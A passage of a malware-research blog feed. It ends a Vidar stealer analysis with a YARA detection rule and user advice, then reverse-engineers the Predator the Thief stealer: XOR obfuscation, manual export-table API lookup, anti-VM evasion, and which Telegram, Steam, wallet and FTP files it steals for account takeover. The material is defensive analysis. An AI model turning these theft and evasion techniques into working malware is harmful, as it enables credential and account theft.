= "/server/gate" wide ascii&#10; $s3 = "/server/grubConfig" wide ascii&#10; $s4 = "\\files\\" wide ascii&#10; $s5 = "SQLite" wide ascii&#10;&#10; $x1 = "/c taskkill /im" wide ascii&#10; $x2 = "screenshot.jpg" wide ascii&#10; $x3 = "files\\passwords.txt" wide ascii&#10; $x4 = "http://ip-api.com/line/" wide ascii&#10; $x5 = "[Hardware]" wide ascii&#10; $x6 = "[Network]" wide ascii&#10; $x7 = "[Processes]" wide ascii&#10;&#10; $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }&#10;&#10;&#10; condition:&#10; $mz at 0 and&#10; ( (all of ($s*)) or ((all of ($x*)) and not $hx1))&#10;}&#10;&lt;/pre&gt;&#10;&lt;h2&gt;Github&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://github.com/Fmk0/scripts/blob/master/izanami.py"&gt;Extract Vidar Config&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://github.com/Fmk0/work/tree/master/Vidar"&gt;Profiles dumped&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Recommendations&lt;/h2&gt;&#10;This is, as usual, the same thing that I said about my precedent blog post.&#10;&lt;ul&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)  to trigger as much as possible all kind of possible Anti-VM detection and closing malware.&lt;/li&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;When you have done with your activities stop the VM and restore it with a Specific clean snapshot.&lt;/li&gt;&#10;&#9;&lt;li&gt;Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.&lt;/li&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;Don't be stupid to click on cracks on youtube, hack software for popular games, or "wonderful" easy cash money (like Free Bitcoin Program /facepalm).&lt;/li&gt;&#10;&#9;&lt;li&gt;Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.&lt;/li&gt;&#10;&#9;&lt;li&gt;Don't use the same password for all your websites (use 2FA and it's possible).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;This analysis was a kind of a mystery game. It's hard to understand if Vidar is an evolution of Arkei or a forked malware based on his code. As far it seems this is currently an active one and growing up. A lot of updates are pushed on it regularly probably due because this is a young (forked/copycat) malware. With the fact, that this stealer was also using the skin theme of Android Lokibot (due to the cracked version), this could really lose some minds for identifying what is the correct name of the C2, without any samples to analyze. For now, let's see with the time if we will more answers to put the puzzle together for this stealer. &lt;strong&gt;¯\_(ツ)_/¯&lt;/strong&gt;&#10;&#10;On my side, if I could sum up this year. I have done way more things than I could imagine because 2018 was a really "reaaalllyyyy" thought year, with a lot of problems and huge issues. Let's see how this next year will be. But now, it's time to rest and eat because there were so many sleep hours destroy and skip meals this year for learning stuff.&#10;&#10;Special thanks to my buddies (they will know who they are), you are the best &amp;lt;3&#10;&#10;&lt;img class=" size-full wp-image-453 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-break-time-umaru.webp" alt="Screenshot: Break time umaru" width="540" height="338" loading="lazy" decoding="async" /&gt;&#10;&#10;#HappyHunting&#10;#SeeYouIn2019&#10;</description></item><item><title>Predator The Thief: In-depth analysis (v2.3.5)</title><link>https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/</link><pubDate>Mon, 15 Oct 2018 13:46:24 +0000</pubDate><guid>https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/</guid><description>Well, it's been a long time without some fresh new contents on my blog. I had some unexpected problems that kept me away from here and a lot of work (like my tracker) that explain this. But it's time to come back (slowly) with some stuff.&#10;&lt;p style="text-align: justify;"&gt;So today, this is an In-Depth analysis of one stealer: "Predator the thief", written in C/C++. Like dozen others malware, it's a ready to sell malware delivered as a builder &amp;amp; C2 panel package.&lt;/p&gt;&#10;&lt;p style="text-align: justify;"&gt;The goal is to explain step by step how this malware is working with a lot of extra explanations for some parts. This post is mainly addressed for junior reverse engineers or malware analysts who want for future purposes to understand and defeat some techniques/tricks easily.&lt;/p&gt;&#10;So here we go!&#10;&lt;h2&gt;Classical life cycle&lt;/h2&gt;&#10;The execution order is almost the same, for most of the stealers nowadays. Changes are mostly varying between evading techniques and how they interact with the C2.  For example, with Predator, the set up is quite simple but could vary if the attacker set up a loader on his C2.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-375" src="https://fumik0.com/wp-content/uploads/2018/10/predator-diagram.webp" alt="Diagram" width="783" height="783" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;The life cycle of Predator the thief&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Preparing the field&lt;/h2&gt;&#10;Before stealing sensitive data, Predator starts by setting up some basics stuff to be able to work correctly. Almost all the configuration is loaded into memory step by step.&#10;&#10;&lt;img class="alignnone size-full wp-image-383" src="https://fumik0.com/wp-content/uploads/2018/10/predator-entry-point.webp" alt="EntryPoint" width="1056" height="737" loading="lazy" decoding="async" /&gt;&#10;&#10;So let's put a breakpoint at "0x00472866" and inspect the code...&#10;&#10;&lt;img class=" size-full wp-image-325 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-call-setup.webp" alt="The life cycle of Predator the thief" width="355" height="745" loading="lazy" decoding="async" /&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;EBX is set to be the length of our loop (in our case here, it will be 0x0F)&lt;/li&gt;&#10;&#9;&lt;li&gt;ESI have all functions addresses stored&lt;img class=" size-full wp-image-326 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-esi-addresses.webp" alt="The life cycle of Predator the thief" width="545" height="107" loading="lazy" decoding="async" /&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;EAX, will grab one address from ESI and moves it into EBP-8&lt;/li&gt;&#10;&#9;&lt;li&gt;EBP is called, so at this point, a config function will unpack some data and saved it into the stack)&lt;/li&gt;&#10;&#9;&lt;li&gt;ESI position is now advanced by 4&lt;/li&gt;&#10;&#9;&lt;li&gt;EDI is incremented until reaching the same value as stored EBX&lt;/li&gt;&#10;&#9;&lt;li&gt;When the EDI == EBX, it means that all required configuration values are stored into the stack. The main part of the malware could start&lt;/li&gt;&#10;&lt;/ol&gt;&#10;So, for example, let's see what we have  inside &lt;em&gt;&lt;strong&gt;0040101D&lt;/strong&gt;&lt;/em&gt; at 0x00488278&#10;&#10;So with x32dbg, let's see what we have... with a simple command&#10;&lt;pre&gt;&lt;strong&gt;Command:&lt;/strong&gt; &lt;span style="color: #ff0000;"&gt;go&lt;/span&gt; &lt;span style="color: #ff6600;"&gt;0x0040101D&lt;/span&gt;&lt;/pre&gt;&#10;As you can see, this is where the C2 is stored, uncovered and saved into the stack.&#10;&#10;&lt;img class="alignnone size-full wp-image-323" src="https://fumik0.com/wp-content/uploads/2018/10/predator-c2.webp" alt="x32dbg view of the stack where the decrypted C2 address is stored" width="777" height="256" loading="lazy" decoding="async" /&gt;&#10;&#10;So what values are stored with this technique?&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;C2 Domain&lt;/li&gt;&#10;&#9;&lt;li&gt;%APPDATA% Folder&lt;/li&gt;&#10;&#9;&lt;li&gt;Predator Folder&lt;/li&gt;&#10;&#9;&lt;li&gt;temporary name of the archive predator file and position&lt;/li&gt;&#10;&#9;&lt;li&gt;also, the name of the archive when it will send to the C2&lt;/li&gt;&#10;&#9;&lt;li&gt;etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;With the help of the %APPDATA%/Roaming path, the Predator folder is created (\ptst). Something notable with this is that it's hardcoded behind a Xor string and not generated randomly. By pure speculation, It could be a shortcut for "&lt;strong&gt;P&lt;/strong&gt;redator &lt;strong&gt;T&lt;/strong&gt;he &lt;strong&gt;ST&lt;/strong&gt;ealer".&#10;&#10;This is also the same constatation for the name of the temporary archive file during the stealing process: &lt;em&gt;&lt;strong&gt;"zpar.zip"&lt;/strong&gt;&lt;/em&gt;.&#10;&lt;h2&gt;&lt;strong&gt;The welcome message...&lt;/strong&gt;&lt;/h2&gt;&#10;When you are positioned at the main module of the stealer, a lovely text looped over 0x06400000 times is addressed for people who want to reverse it.&#10;&#10;&lt;img class="alignnone size-full wp-image-327" src="https://fumik0.com/wp-content/uploads/2018/10/predator-welcome.webp" alt="welcome" width="900" height="575" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;&lt;strong&gt;Obfuscation Techniques&lt;/strong&gt;&lt;/h2&gt;&#10;&lt;h3&gt;&lt;strong&gt;The thief who loves XOR (a little bit too much...)&lt;/strong&gt;&lt;/h3&gt;&#10;Almost all the strings from this stealer sample are XORed, even if this obfuscation technique is really easy to understand and one of the easier to decrypt. Here, its used at multiple forms just to slow down the analysis.&#10;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-variant-01.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-variant-01.webp" alt="XOR string decryption routine, first variant" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-variant-02.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-variant-02.webp" alt="XOR string decryption routine, second variant" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/09/predator-xor-case-01.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/09/predator-xor-case-01.webp" alt="XOR string decryption routine from an earlier Predator sample" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&lt;h3&gt;&lt;strong&gt;GetProcAddress Alternatives &lt;/strong&gt;&lt;/h3&gt;&#10;For avoiding to call directly modules from different libraries, it uses some classic stuff to search step by step a specific API request and stores it into a register. It permits to hide the direct call of the module into a simple register call.&#10;&#10;So firstly,  a XORed string (a DLL) is decrypted.  So for this case, the kernel32.dll is required for the specific module that the malware wants to call.&#10;&#10;&lt;img class=" size-full wp-image-302 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-step-1-api.webp" alt="The life cycle of Predator the thief" width="586" height="491" loading="lazy" decoding="async" /&gt;&#10;&#10;When the decryption is done, this library is loaded with the help of "&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"&gt;LoadLibraryA&lt;/a&gt;". Then, a clear text is pushed into EDX: "&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createdirectorya"&gt;CreateDirectoryA&lt;/a&gt;"... This will be the module that the stealer wants to use.&#10;&#10;The only thing that it needs now, its to retrieve the address of an exported function "&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createdirectorya"&gt;CreateDirectoryA&lt;/a&gt;" from kernel32.dll. Usually, this is done with the help of &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"&gt;GetProcAddress&lt;/a&gt; but this function is in fact not called and another trick is used to get the right value.&#10;&#10;&lt;img class=" size-full wp-image-303 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-step-2-api.webp" alt="The life cycle of Predator the thief" width="466" height="271" loading="lazy" decoding="async" /&gt;&#10;&#10;So this string and the &lt;span class="n"&gt;&lt;strong&gt;IMAGE_DOS_HEADER&lt;/strong&gt; &lt;/span&gt;of kernel32.dll are sent into "func_GetProcesAddress_0". The idea is to get manually the pointer of the function address that we want with the help of the Export Table. So let's see what we have in the in it...&#10;&lt;pre&gt;&lt;strong&gt;&lt;span class="k" style="color: #339966;"&gt;struct&lt;/span&gt;&lt;/strong&gt; &lt;span class="n"&gt;IMAGE_EXPORT_DIRECTORY&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;Characteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;TimeDateStamp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;MajorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;MinorVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;NumberOfFunctions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="n"&gt;NumberOfNames&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;AddressOfFunctions&lt;/span&gt;&lt;span class="p"&gt;; &amp;lt;= This good boy&lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;AddressOfNames&lt;/span&gt;&lt;span class="p"&gt;; &amp;lt;= This good boy &lt;/span&gt;&#10;&#9;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;AddressOfNameOrdinals&lt;/span&gt;&lt;span class="p"&gt;; &amp;lt;= This good boy&lt;/span&gt;&#10;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/pre&gt;&#10;After inspecting the structure de IMAGE_EXPORT_DIRECTORY, three fields are mandatory :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;AddressOfFunctions - An Array who contains the relative value address (RVA) of the functions of the module.&lt;/li&gt;&#10;&#9;&lt;li&gt;AddressOfNames - An array who stores with the ascending order of all functions from this module.&lt;/li&gt;&#10;&#9;&lt;li&gt;AddressOfNamesOrdinals - An 16 bits array who contains all the associated ordinals of functions names based on the AddressOfNames.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;a href="https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files"&gt;source&lt;/a&gt;&#10;&#10;So after saving the absolute position of these 3 arrays, the loop is simple&#10;&#10;&lt;img class=" size-full wp-image-335 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-function-get.webp" alt="The life cycle of Predator the thief" width="540" height="323" loading="lazy" decoding="async" /&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Grab the RVA of one function&lt;/li&gt;&#10;&#9;&lt;li&gt;Get the name of this function&lt;/li&gt;&#10;&#9;&lt;li&gt;Compare the string with the desired one.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;So let's see in details to understand everything :&#10;&#10;&lt;span class="p"&gt;If we dig into &lt;strong&gt;ds:&lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span style="color: #ff6600;"&gt;+&lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span style="color: #ff6600;"&gt;*&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;4]&lt;/span&gt;,&lt;/strong&gt; this where is stored all relative value address of the kernel32.dll export table functions.&lt;/span&gt;&#10;&#10;&lt;img class=" size-full wp-image-331 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-rva.webp" alt="Debugger view of the kernel32.dll export table RVAs read through ds:[eax+edx*4]" width="537" height="277" loading="lazy" decoding="async" /&gt;&#10;With the next instruction &lt;strong&gt;&lt;span style="color: #3366ff;"&gt;add&lt;/span&gt; &lt;span&gt;eax&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;,&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;/strong&gt;. This remains to go at the exact position of the string value in the "AddressOfNames" array.&#10;&lt;pre&gt;DLLBaseAddress + AddressOfNameRVA[i] = Function Name &#10; 751F0000 + 0C41D4 = CreateDirectoryA&lt;/pre&gt;&#10;&lt;img class=" size-full wp-image-334 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-address-of-names.webp" alt="Address of names" width="533" height="270" loading="lazy" decoding="async" /&gt;&#10;&#10;The comparison is matching,  now it needs to store the "procAddress.  So First the Ordinal Number of the function is saved. Then with the help of this value, the Function Address position is grabbed and saved into ESI.&#10;&lt;pre&gt;ADD ESI, ECX&#10;ProcAddress = Function Address + DLLBaseAddress&lt;/pre&gt;&#10;In disassembly, it looks like this :&#10;&#10;&lt;img class=" size-full wp-image-339 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-get-proc-address.webp" alt="GetProcAddress" width="635" height="198" loading="lazy" decoding="async" /&gt;&#10;&#10;Let's inspect the code at the specific procAddress...&#10;&#10;&lt;img class="alignnone size-full wp-image-340" src="https://fumik0.com/wp-content/uploads/2018/10/predator-check-01.webp" alt="The life cycle of Predator the thief" width="730" height="92" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;img class=" size-full wp-image-304 alignleft" src="https://fumik0.com/wp-content/uploads/2018/10/predator-step-end-api.webp" alt="The life cycle of Predator the thief" width="371" height="193" loading="lazy" decoding="async" /&gt;&#10;So everything is done, the address of the function is now stored into EAX and it only needs now to be called.&#10;&lt;h2&gt;&lt;strong&gt;Anti-VM Technique&lt;/strong&gt;&lt;/h2&gt;&#10;Here is used a simple Anti-VM Technique to check if this stealer is launched on a virtual machine. This is also the only Anti-Detection trick used on Predator.&#10;&#10;&lt;img class="alignnone size-full wp-image-285" src="https://fumik0.com/wp-content/uploads/2018/09/predator-anti-vm-01.webp" alt="The life cycle of Predator the thief" width="725" height="540" loading="lazy" decoding="async" /&gt;&#10;&lt;p style="text-align: justify;"&gt;First, User32.dll (Xored) is dynamically loaded with the help of "&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya"&gt;LoadLibraryA&lt;/a&gt;", Then "&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enumdisplaydevicesa"&gt;EnumDisplayDevicesA&lt;/a&gt;" module is requested with the help of User32.dll. The idea here is to get the value of the "Device Description" of the current display used.&lt;/p&gt;&#10;When it's done, the result is checked with some values (obviously xored too) :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Hyper-V&lt;/li&gt;&#10;&#9;&lt;li&gt;VMware&lt;/li&gt;&#10;&#9;&lt;li&gt;VirtualBox&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-290 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/09/predator-regedit-hyperv.webp" alt="The life cycle of Predator the thief" width="653" height="556" loading="lazy" decoding="async" /&gt;&#10;&#10;If the string matches, you are redirected to a function renamed here "func_VmDetectedGoodBye.&#10;&lt;h4&gt;How to By-Pass this Anti-VM technique?&lt;/h4&gt;&#10;For avoiding this simple trick, the goal is to modify the REG_SZ value of "DriverDesc" into &lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/system-defined-device-setup-classes-available-to-vendors"&gt;{4d36e968-e325-11ce-bfc1-08002be10318}&lt;/a&gt; to something else.&#10;&#10;&lt;img class="alignnone size-full wp-image-300" src="https://fumik0.com/wp-content/uploads/2018/10/predator-regedit-bypass.webp" alt="The life cycle of Predator the thief" width="1102" height="463" loading="lazy" decoding="async" /&gt;&#10;&#10;And voilà!&#10;&#10;&lt;img class="alignnone size-full wp-image-301" src="https://fumik0.com/wp-content/uploads/2018/10/predator-troll.webp" alt="Troll" width="956" height="335" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Stealing Part&lt;/h2&gt;&#10;Let's talk about the main subject... How this stealer is organized... As far I disassemble the code, this is all the folders that the malware is setting on the "ptst" repository before sending it as an archive on the C2.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Folder&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;Files&lt;/strong&gt;: Contains all classical text/documents files at specifics paths&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;FileZilla&lt;/strong&gt;: Grab one or two files from this FTP&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;WinFTP&lt;/strong&gt;: Grab one file from this FTP&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;Cookies&lt;/strong&gt;: Saved stolen cookies from different browsers&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;General&lt;/strong&gt;: Generic Data&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;Steam&lt;/strong&gt;: Steal login account data&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;Discord&lt;/strong&gt;: Steal login account data&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li&gt;Files&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Information.log&lt;/li&gt;&#10;&#9;&lt;li&gt;Screenshot.jpeg &amp;lt;= Screenshot of the current screen&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Telegram&lt;/h3&gt;&#10;For checking if Telegram is installed on the machine, the malware is checking if the KeyPath "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" exists on the machine.&#10;&#10;So let's inspect what we have inside this "KeyPath"? After digging into the code, the stealer will request the value of "InstallLocation" because of this where Telegram is installed currently on the machine.&#10;&#10;&lt;img class="alignnone size-full wp-image-312" src="https://fumik0.com/wp-content/uploads/2018/10/predator-install.webp" alt="Install" width="688" height="402" loading="lazy" decoding="async" /&gt;&#10;&#10;Step by step, the path is recreated (also always, all strings are xored) :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;%TELEGRAM_PATH%&lt;/li&gt;&#10;&#9;&lt;li&gt;\Telegram Desktop&lt;/li&gt;&#10;&#9;&lt;li&gt;\tdata&lt;/li&gt;&#10;&#9;&lt;li&gt;\D877F783D5D3EF8C&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone wp-image-315" src="https://fumik0.com/wp-content/uploads/2018/10/predator-map-file.webp" alt="map file" width="725" height="763" loading="lazy" decoding="async" /&gt;&#10;&#10;The folder "D877F783D5D3EF8C" is where all Telegram cache is stored. This is the sensitive data that the stealer wants to grab. Also during the process, the file map* (i.e: map1) is also checked and this file is, in fact, the encryption key. So if someone grabs everything for this folder, this leads the attacker to have an access (login without prompt) into the victim account.&#10;&lt;h3&gt;Steam&lt;/h3&gt;&#10;The technique used by the stealer to get information for one software will remain the same for the next events (for most of the cases). This greatly facilitates the understanding of this malware.&#10;&#10;So first, it's checking the "SteamPath" key value at "HKCU\Software\Valve\Steam" to grab the correct Steam repository. This value is after concatenating with a bunch of files that are necessary to compromise a Steam Account.&#10;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-1.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-1.webp" alt="Steam-related string decryption in the stealer, part one" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-2.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-2.webp" alt="Steam-related string decryption in the stealer, part two" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&#10;So it will check first if ssfn files are present on the machine with the help of "func_FindFiles", if it matches, they are duplicated into the temporary malware folder stored on %APPDATA%/XXXX. Then do the same things with config.vdf&#10;&#10;&lt;img class=" size-full wp-image-318 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-3.webp" alt="The life cycle of Predator the thief" width="637" height="726" loading="lazy" decoding="async" /&gt;&#10;&#10;So what the point with these files? First, after some research, a post on Reddit was quite interesting. it explained that ssfn files permit to by-pass SteamGuard during the user log-on.&#10;&#10;&lt;img class="alignnone size-full wp-image-311" src="https://fumik0.com/wp-content/uploads/2018/10/predator-steam.webp" alt="Steam" width="899" height="386" loading="lazy" decoding="async" /&gt;&#10;&#10;Now what the point of the second file? this is where you could know some information about the user account and all the applications that are installed on the machine. Also, if the ConnectCache field is found on this one, it is possible to log into the stolen account without steam authentication prompt. if you are curious, this pattern is represented just like this :&#10;&lt;pre&gt;"ConnectCache"&#10;{&#10; "STEAM_USERNAME_IN_CRC32_FORMAT" "SOME_HEX_STUFF"&#10;}&lt;/pre&gt;&#10;The last file, that the stealer wants to grab is "loginusers.vdf". This one could be used for multiple purposes but mainly for setting the account in offline mode manually.&#10;&#10;&lt;img class=" size-full wp-image-319 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-4.webp" alt="The life cycle of Predator the thief" width="399" height="211" loading="lazy" decoding="async" /&gt;&#10;&#10;For more details on the subject there a nice report made by Kapersky for this:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07191212/Steam_Stealers_research_ENG.pdf"&gt;Steam Stealers&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Wallets&lt;/h3&gt;&#10;The stealer is supporting multiple digital wallets such as :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Ethereum&lt;/li&gt;&#10;&#9;&lt;li&gt;Multibit&lt;/li&gt;&#10;&#9;&lt;li&gt;Electrum&lt;/li&gt;&#10;&#9;&lt;li&gt;Armory&lt;/li&gt;&#10;&#9;&lt;li&gt;Bytecoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Bitcoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;The functionality is rudimentary but it's enough to grab specific files such as :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;*.wallet&lt;/li&gt;&#10;&#9;&lt;li&gt;*.dat&lt;/li&gt;&#10;&lt;/ul&gt;&#10;And as usual, all the strings are XORed.&#10;&#10;&lt;img class=" size-full wp-image-344 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-wallet.webp" alt="Wallet" width="595" height="232" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;FTP software&lt;/h3&gt;&#10;The stealer supports two FTP software :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Filezilla&lt;/li&gt;&#10;&#9;&lt;li&gt;WInFTP&lt;/li&gt;&#10;&lt;/ul&gt;&#10;It's really rudimentary because he only search for three files, and they are available a simple copy to the predator is done :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;%APPDATA%\Filezilla\sitemanager.xml&lt;/li&gt;&#10;&#9;&lt;li&gt;%APPDATA%\Filezilla\recentservers.xml&lt;/li&gt;&#10;&#9;&lt;li&gt;%PROGRAMFILES%\WinFtp Client\Favorites.dat&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-filezilla.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-filezilla.webp" alt="FileZilla sitemanager.xml path in the disassembly" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-win-ftp.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-win-ftp.webp" alt="WinFTP Client Favorites.dat path in the disassembly" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&lt;h3&gt;Browsers&lt;/h3&gt;&#10;It's not necessary to have some deeper explanation about what kind of file the stealer will focus on browsers. There is currently a dozen articles that explain how this kind of malware manages to steal web data. I recommend you to read &lt;a 